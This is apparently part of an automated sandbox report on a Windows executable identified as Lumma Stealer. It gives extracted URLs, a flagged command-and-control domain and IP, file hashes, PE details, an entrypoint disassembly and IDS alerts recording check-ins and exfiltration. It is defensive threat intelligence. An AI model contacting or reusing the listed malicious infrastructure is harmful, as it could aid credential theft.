http://ocsp.rootca1.amazontrust.com0:	6QLvb9i.exe, 00000002.00000003.1808781553.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	6QLvb9i.exe, 00000002.00000003.1746515234.00000000055D8000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1746450071.00000000055DF000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1757063638.00000000055D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	6QLvb9i.exe, 00000002.00000003.1746515234.00000000055D8000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1746450071.00000000055DF000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1757063638.00000000055D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	6QLvb9i.exe, 00000002.00000003.1745822876.00000000055CC000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745989548.00000000055CA000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745901920.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://undesirabkel.click/	6QLvb9i.exe, 00000002.00000003.1744979308.0000000003038000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000002.2977905716.00000000030BB000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.2476874534.00000000030BB000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000002.2977935969.00000000030D3000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1846843860.00000000030D3000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1837648788.00000000030D3000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.2476874534.00000000030D3000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745148320.0000000003077000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1824680621.0000000005594000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1808157111.000000000558C000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1824592885.000000000558D000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1744979308.000000000304F000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745103987.0000000003066000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1757097320.000000000558E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	6QLvb9i.exe, 00000002.00000003.1809756882.00000000056A7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://undesirabkel.click/apiD	6QLvb9i.exe, 00000002.00000003.1846843860.00000000030BB000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1846952294.00000000030BC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	6QLvb9i.exe, 00000002.00000003.1745822876.00000000055CC000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745989548.00000000055CA000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745901920.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://undesirabkel.click/Z	6QLvb9i.exe, 00000002.00000002.2977935969.00000000030D3000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.2476874534.00000000030D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	6QLvb9i.exe, 00000002.00000003.1810145038.0000000005594000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	6QLvb9i.exe, 00000002.00000003.1810145038.0000000005594000.00000004.00000800.00020000.00000000.sdmp	false		high
https://undesirabkel.click/api6	6QLvb9i.exe, 00000002.00000003.1745148320.0000000003077000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745103987.0000000003066000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://x1.c.lencr.org/0	6QLvb9i.exe, 00000002.00000003.1808781553.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	6QLvb9i.exe, 00000002.00000003.1808781553.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	6QLvb9i.exe, 00000002.00000003.1746515234.00000000055B3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	6QLvb9i.exe, 00000002.00000003.1745822876.00000000055CC000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745989548.00000000055CA000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745901920.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.microsof	6QLvb9i.exe, 00000002.00000003.1746450071.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://undesirabkel.click/..z	6QLvb9i.exe, 00000002.00000003.1808432083.0000000005594000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	6QLvb9i.exe, 00000002.00000003.1808781553.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://undesirabkel.click/j	6QLvb9i.exe, 00000002.00000003.1846843860.00000000030D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	6QLvb9i.exe, 00000002.00000003.1746515234.00000000055B3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	6QLvb9i.exe, 00000002.00000003.1809756882.00000000056A7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	6QLvb9i.exe, 00000002.00000003.1745822876.00000000055CC000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745989548.00000000055CA000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745901920.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	6QLvb9i.exe, 00000002.00000003.1810145038.0000000005594000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.97.3	undesirabkel.click	European Union		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582310
Start date and time:	2024-12-30 10:34:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	6QLvb9i.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/0@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 57 Number of non-executed functions: 139
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:35:01	API Interceptor	8x Sleep call for process: 6QLvb9i.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.97.3	RFQ 3100185 MAHAD.exe	Get hash	malicious	FormBook	Browse	www.rgenerousrs.store/o362/
	A2028041200SD.exe	Get hash	malicious	FormBook	Browse	www.beylikduzu616161.xyz/2nga/
	Delivery_Notification_00000260791.doc.js	Get hash	malicious	Unknown	Browse	radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=45
	ce.vbs	Get hash	malicious	Unknown	Browse	paste.ee/d/lxvbq
	Label_00000852555.doc.js	Get hash	malicious	Unknown	Browse	tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=25
	PO 20495088.exe	Get hash	malicious	FormBook	Browse	www.ssrnoremt-rise.sbs/3jsc/
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/zWkbOqX7/download
	http://kklk16.bsyo45ksda.top	Get hash	malicious	Unknown	Browse	kklk16.bsyo45ksda.top/favicon.ico
	gusetup.exe	Get hash	malicious	Unknown	Browse	www.glarysoft.com/update/glary-utilities/pro/pro50/
	Online Interview Scheduling Form.lnk	Get hash	malicious	Ducktail	Browse	gmtagency.online/api/check

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
undesirabkel.click	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.30.13
undesirabkel.click	WonderHack.exe	Get hash	malicious	LummaC	Browse	104.21.30.13

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	http://i646972656374o6c6373o636f6dz.oszar.com/	Get hash	malicious	Unknown	Browse	104.16.79.73
	securedoc_20241220T111852.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://visa-pwr.com/	Get hash	malicious	Unknown	Browse	104.18.28.104
	lumma.ps1	Get hash	malicious	LummaC	Browse	104.21.72.190
	vlid_acid.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.190.223
	sysmonconfig.xml	Get hash	malicious	Unknown	Browse	172.64.41.3
	https://N0.kolivane.ru/da4scmQ/#Memily.gamble@amd.com	Get hash	malicious	Unknown	Browse	172.67.134.110
	https://smex-ctp.trendmicro.com/wis/clicktime/v1/query?url=https%3a%2f%2fshm.to%2fpolice&umid=0d23e2e5-f76c-4734-8c53-52692e5df704&auth=771bc9afedacaf21ff6267a075d4e92f38a56cd1-76eb9d39a6a3c5ec361f1d32692c8a467e476d6a	Get hash	malicious	Unknown	Browse	104.18.1.101
	https://smex-ctp.trendmicro.com/wis/clicktime/v1/query?url=https%3a%2f%2fshm.to%2fpolice&umid=0d23e2e5-f76c-4734-8c53-52692e5df704&auth=771bc9afedacaf21ff6267a075d4e92f38a56cd1-76eb9d39a6a3c5ec361f1d32692c8a467e476d6a	Get hash	malicious	Unknown	Browse	104.18.1.101

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	lumma.ps1	Get hash	malicious	LummaC	Browse	188.114.97.3
	vlid_acid.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	AquaPac.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	R3nz_Loader.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Loader.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	BasesRow.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	installer_1.05_36.5.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	@Setup.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	GPU-Z.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer	Browse	188.114.97.3

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.728021476739721
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	6QLvb9i.exe
File size:	916'992 bytes
MD5:	c79ad67c0547a2c2f19268618331e4ad
SHA1:	65a778a9ecf4e08bce37d3036e2797693edbbcaa
SHA256:	7ed9c30302d9c77df46d0f85af2972484ea0a0c55bdea41a263d7a9a7e67a2ed
SHA512:	9e6601eda66a89e5cfbcfaaa33cb1d06bd2b3caea8e71450b34e9f690d7853f5f377aa61602060136b926e7f052036384c972da07f69f1331f179bdfac96294a
SSDEEP:	24576:OGEZcUhkBQHPB+A+AK5UgFPB+A+AK5UgJ:OG0cUhkqkAZbtAZb8
TLSH:	2C15F0027691C1B3DD7321B315B9D76E492AF10017A2A9DF1B880EAEDFB06D15E31B36
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Mqg.................&...\.......n............@..........................`............@.....................................<..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x416ea0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x67714D83 [Sun Dec 29 13:24:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	588987af4e159ab133c2fd81ab21d6c3

Entrypoint Preview

Instruction
call 00007FDACCB4B2EAh
jmp 00007FDACCB4B14Dh
mov ecx, dword ptr [00446C40h]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007FDACCB4B2E6h
test esi, ecx
jne 00007FDACCB4B308h
call 00007FDACCB4B311h
mov ecx, eax
cmp ecx, edi
jne 00007FDACCB4B2E9h
mov ecx, BB40E64Fh
jmp 00007FDACCB4B2F0h
test esi, ecx
jne 00007FDACCB4B2ECh
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [00446C40h], ecx
not ecx
pop edi
mov dword ptr [00446C80h], ecx
pop esi
ret
push ebp
mov ebp, esp
sub esp, 14h
lea eax, dword ptr [ebp-0Ch]
xorps xmm0, xmm0
push eax
movlpd qword ptr [ebp-0Ch], xmm0
call dword ptr [0044186Ch]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [00441828h]
xor dword ptr [ebp-04h], eax
call dword ptr [00441824h]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [004418BCh]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov eax, 00004000h
ret
push 00448318h
call dword ptr [00441894h]
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov al, 01h
ret
push 00030000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x41608	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4a000	0xe8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4b000	0x2724	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x3d300	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x35e38	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x417b8	0x174	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3245a	0x32600	c4549430d24610c92b37bed6473270d7	False	0.4947755117866005	data	6.4148411499579145	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x34000	0x103dc	0x10400	8f41f0a4477466e083dd1225271b1fed	False	0.4734675480769231	DOS executable (COM)	5.262841422439912	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x45000	0x3ae0	0x2c00	41abedb3cd61d6efee59d0f1e4be6075	False	0.27885298295454547	data	5.101110177853289	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x49000	0x9	0x200	1f354d76203061bfdd5a53dae48d5435	False	0.033203125	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4a000	0xe8	0x200	9ba0e63b56b364ddba7264c6ed8b3c7f	False	0.306640625	data	2.341009454357875	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x4b000	0x2724	0x2800	8bb45e0eca6ae0cfb6acb30c1d288b24	False	0.74765625	data	6.507988645199514	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.BSS	0x4e000	0x4ba00	0x4ba00	eccb66f863b798d95739a792f0124a43	False	1.0003260588842975	data	7.999327326241269	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.BSS	0x9a000	0x4ba00	0x4ba00	eccb66f863b798d95739a792f0124a43	False	1.0003260588842975	data	7.999327326241269	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4a060	0x87	XML 1.0 document, ASCII text	English	United States	0.8222222222222222

Imports

DLL

Import

KERNEL32.dll

AcquireSRWLockExclusive, CloseHandle, CloseThreadpoolWork, CompareStringW, CreateFileW, CreateThreadpoolWork, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, EnumSystemLocalesW, ExitProcess, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeConsole, FreeEnvironmentStringsW, FreeLibrary, FreeLibraryWhenCallbackReturns, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetFileSize, GetFileSizeEx, GetFileType, GetLastError, GetLocaleInfoW, GetModuleFileNameW, GetModuleHandleA, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, GetUserDefaultLCID, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitOnceBeginInitialize, InitOnceComplete, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, IsValidLocale, LCMapStringEx, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadConsoleW, ReadFile, ReleaseSRWLockExclusive, RtlUnwind, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, SleepConditionVariableSRW, SubmitThreadpoolWork, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, TryAcquireSRWLockExclusive, UnhandledExceptionFilter, WakeAllConditionVariable, WideCharToMultiByte, WriteConsoleW, WriteFile

GDI32.dll

EndPage, GetMetaFileBitsEx

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-30T10:35:02.026314+0100	2058550	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (undesirabkel .click)	1	192.168.2.4	60805	1.1.1.1	53	UDP
2024-12-30T10:35:02.511450+0100	2058551	ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI)	1	192.168.2.4	49730	188.114.97.3	443	TCP
2024-12-30T10:35:02.511450+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	188.114.97.3	443	TCP
2024-12-30T10:35:02.973013+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	188.114.97.3	443	TCP
2024-12-30T10:35:02.973013+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	188.114.97.3	443	TCP
2024-12-30T10:35:03.434662+0100	2058551	ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI)	1	192.168.2.4	49731	188.114.97.3	443	TCP
2024-12-30T10:35:03.434662+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	188.114.97.3	443	TCP
2024-12-30T10:35:03.873547+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	188.114.97.3	443	TCP
2024-12-30T10:35:03.873547+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	188.114.97.3	443	TCP
2024-12-30T10:35:04.581835+0100	2058551	ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI)	1	192.168.2.4	49732	188.114.97.3	443	TCP
2024-12-30T10:35:04.581835+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	188.114.97.3	443	TCP
2024-12-30T10:35:05.691058+0100	2058551	ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI)	1	192.168.2.4	49733	188.114.97.3	443	TCP
2024-12-30T10:35:05.691058+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	188.114.97.3	443	TCP
2024-12-30T10:35:10.931130+0100	2058551	ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI)	1	192.168.2.4	49734	188.114.97.3	443	TCP
2024-12-30T10:35:10.931130+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	188.114.97.3	443	TCP
2024-12-30T10:35:12.705981+0100	2058551	ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI)	1	192.168.2.4	49735	188.114.97.3	443	TCP
2024-12-30T10:35:12.705981+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	188.114.97.3	443	TCP
2024-12-30T10:35:13.155766+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49735	188.114.97.3	443	TCP
2024-12-30T10:35:14.111373+0100	2058551	ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI)	1	192.168.2.4	49736	188.114.97.3	443	TCP
2024-12-30T10:35:14.111373+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49736	188.114.97.3	443	TCP
2024-12-30T10:35:14.132401+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	49736	188.114.97.3	443	TCP
2024-12-30T10:35:16.659727+0100	2058551	ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI)	1	192.168.2.4	49737	188.114.97.3	443	TCP
2024-12-30T10:35:16.659727+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	188.114.97.3	443	TCP
2024-12-30T10:35:17.107150+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49737	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 30, 2024 10:35:02.070823908 CET	49730	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:02.070887089 CET	443	49730	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:02.071084023 CET	49730	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:02.074724913 CET	49730	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:02.074755907 CET	443	49730	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:02.511343956 CET	443	49730	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:02.511450052 CET	49730	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:02.516118050 CET	49730	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:02.516132116 CET	443	49730	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:02.516340017 CET	443	49730	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:02.558132887 CET	49730	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:02.565505981 CET	49730	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:02.565530062 CET	49730	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:02.565581083 CET	443	49730	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:02.973018885 CET	443	49730	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:02.973095894 CET	443	49730	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:02.973162889 CET	49730	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:02.980798006 CET	49730	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:02.980828047 CET	443	49730	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:03.000468969 CET	49731	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:03.000489950 CET	443	49731	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:03.000569105 CET	49731	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:03.000950098 CET	49731	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:03.000961065 CET	443	49731	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:03.434565067 CET	443	49731	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:03.434662104 CET	49731	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:03.462681055 CET	49731	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:03.462697983 CET	443	49731	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:03.462889910 CET	443	49731	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:03.464844942 CET	49731	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:03.464975119 CET	49731	443	192.168.2.4	188.114.97.3
Dec 30, 2024 10:35:03.464996099 CET	443	49731	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:03.873553038 CET	443	49731	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:03.873605967 CET	443	49731	188.114.97.3	192.168.2.4
Dec 30, 2024 10:35:03.873636007 CET	443	49731	188.114.97.3	192.168.2.4
